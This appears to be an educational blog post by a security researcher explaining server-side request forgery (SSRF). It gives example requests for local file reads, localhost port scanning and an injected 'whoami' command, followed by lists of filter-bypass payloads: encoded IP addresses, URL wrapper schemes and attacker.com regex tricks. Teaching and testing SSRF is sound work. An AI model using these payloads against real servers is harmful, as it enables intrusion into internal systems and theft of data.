AlbusSec:- Penetration-List 09 Server-Side-Request-Forgery(SSRF) — Sample
Hi Information Security folk, I hope you like my previous article that was on CSRF(Cross-Side-Request-Forgery). Before We, go to the next topic, I would like to tell you something In the “penetration-List” Project, A new member was joined her name is “Sourav Chakraborty”. However, Today we’ll learn about Server-Side-Request-Forgery(SSRF). Firstly, I will introduce myself. So, I’m Aniket Tyagi and I’m an Information Technology officer at the 5f eco foundation of India, an Information Security Researcher, and the founder of Albus Security. Without wasting our energy, Let’s get started.
Server-Side-Request-Forgery(SSRF):-
SServer-Side-Request-Forgery is a vulnerability that allows an attacker to forgery a server to send a malicious request to another system/Internal-Domain via a vulnerable server. SSRF can cause lots of dangerous attacks on vulnerable servers like internal service access. bypass firewall, information exposure, etc. How SSRF will generate? Whenever an application can send a request to servers. Basically, the server will send requests to servers to fetch resources, and metadata from a URL, or also server will send requests to another application too. therefore it’s not dangerous to send a request to another application/internal server. but carelessness implementation of this mechanism will make the server vulnerable to Server-Side-Request-Forgery(SSRF).
- Exploitation of SSRF
- Impact of SSRF
- Bypass Technique for SSRF
Exploitation of SSRF:-
Suppose An application sends a request to the next server to get details for the particular functions. So In the backend Mechanism looks like that whenever a user will want to view some specific detail or the server will want to get information from another server the server will send the request by passing the URL to the server via an HTTP-Request. let’s take an example whenever the user will request something that was not available on the server so therefore the server will request for 404 “Not Found web page to another server, retrieve the 404 page, then return it to the user.
GET /page?url=https://Subdomain-albussecurity.com/404.html HTTP/1.1
Host: albussecurity.com......Connection: close
So If the server does not implement any restriction about SSRF. then it will cause SSRF vulnerability. But how to Suppose an attacker will modify that requested URL to a malicious request like this
GET /page?url=file:///{file-name} HTTP/1.1
Host: albussecurity.com......Connection: close
In this, An attacker will use file:// protocol to read/view a local file that was hosted on the server. An application is vulnerable to SSRF, So Whenever an attacker sends/makes a malicious request, the server will load the file that was hosted on it. Let’s take another example in which an attacker wants to scan for a port, The main purpose for scanning a port is basically is used to evaluate running services behind that port. Therefore, An attacker can identify what services are running on that port with the help of SSRF.
GET /page?url=http://127.0.0.1:21 HTTP/1.1
Host: albussecurity.com......Connection: close
Possible Impact of SSRF:-
Before We go more on the depth about Server-Side-Request-Forgery(SRF), let’s discuss the impact/Common Scenario of SSRF.
- With the help of SSRF, You’ll scan for the port on a particular website. In Simple Words, An attacker will scan for ports Mean How many services are running on that vulnerable application through the Vulnerable Mechanism.
- With the help of SSRF, An Attacker Can access the Intranet.
- A Successful SSRF attack can lead to Remote-Code-Execution(RCE)
GET /page?url=http://127.0.0.1 & whoami HTTP/1.1
Host: albussecurity.com......Connection: close
- With the help of SSRF, An attacker can access local files that are hosted on the vulnerable server. By Using some protocol like
file://,file:///, file:/ - With the help of SSRF, An attacker will read metadata
- An attacker will execute a malicious web page by providing an external server link that Causes XSS.
Bypass Technique for SSRF:-
We know that If we found a mechanism on a web application that sent a request to an external or internal server to get resources. If the Server is vulnerable to SRRF then As a Malicious user you can elect to send the request to the malicious domain or internal domain for fetching some sort of information.
But In the Modern Era Applications really become smart, so they will also implement protection for SSRF. therefore The major protection of SSRF is to set blacklists and whitelists filter mechanism
Obfuscating Blacklist:-
Blacklists refer to the practice of not allowing certain addresses and blocking the request if a blacklisted address was received as input
Blacklists are basically used to not allow certain addresses and block the request, therefore If the server will receive any blacklisted address then the server will block that request. Let’s take an example in which an attacker sent a request to an internal domain but the server will block this, In this type of scenario, You’ll modify the Ip presentation, address encoding, and Case Sensitive, from ipv4 to ipv6, and ssrf through open-redirect.
From ipv4 to ipv6:-
A web application will implement Blacklist for ipv4 addresses, not for ipv6 addresses. therefore Sent a request with an ipv6 address, not an ipv4 so it might be possible that you’ll bypass SSRF protection.
The alternative Ip address:- There are many methods to manipulate IP address that doesn’t anything change but it’ll help you to escape from the Server blacklist Protection
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://0
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪Special
127%E3%80%820%E3%80%820%E3%80%821 --> 127。0。0。1
Address Encoding:-
In address encoding, You basically encode malicious addresses into hex encoding, octal encoding, URL encoding, and Decimal.
Hex Encoding:- 0x7f%E3%80%820x0%E3%80%820x0%E3%80%820x1 -- 127.0.0.1
0x7f.0x0.0x0.0x1
0x7f 00 00 01 -- 127.0.0.1
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001Decimal Encoding:- http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1Octal Encoding:- http://0177%E3%80%820000%E3%80%820000%E3%80%820001
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001
Very Soon You’ll get a list for this on Github-Repository:- {Coming-Soon}
SSRF through Open-Redirect:-
Open-redirects are common only also used to bypass service side protection. For Example, You host a file on your own server, And On this file, You’ll add some lines of code, whenever the code will be executed the system will proceed to a loopback address. let’s say an attacker has hosted a file at https://attacker.com/malicious.py. Whenever an attacker will inject this into a vulnerable application, then the application will execute that code and redirect to the loopback(127.0.0.1) address.
Obfuscating Whitelist:
Not let’s talk about Whitelists bypass, Basically In whitelist mean that server would only accept a particular address that is specified on a list, and fail all other requests. To obfuscate a whitelist is pretty hard rather than blacklisting because the server will always focus on accepting not declining.
Url Schema/Wrapper:-
URL Schema/Wrapper tells the stream how to handle specific protocols, for example, the HTTP wrapper knows how to translate a URL into an HTTP/1.0 request. therefore the following URL wrapper can be used to bypass the whitelist protection of SSRF.
PHP Schema / Wrappergopher://
fd://
expect://
ogg://
tftp://
dict://
ftp://
ssh2://
file://
http://
https://
imap://
pop3://
mailto://
smtp://
telnet://
netdoc:///file-name
netdoc:///file-name
jar:proto-schema://blah!/
jar:http://localhost!/
jar:http://127.0.0.1!/
jar:http://0.0.0.0!/
jar:ftp://local-domain.com!/
Misconfiguration of Regex:-
Suppose in the whitelist, If a request comes from another subdomain then Server will accept that request, but due to poorly implemented regex, then an attacker will use this by just putting their subdomain name on their malicious link.
url=https://albussecurity.attacker.com
url=https://attacker-albusecurity.com
url=https://attacker.com/albussecurity.comAwww, Finally We’ve completed our Server-Side-Request-Forgery(SSRF) Sample. Very Soon I’ll publish the “Penetration List” Book. On there You’ll get depth knowledge about Vulnerabilities. Because I’ll upload topics as a sample on medium, not a proper section. Thank You For Reading.
You can download a sample of the book:-
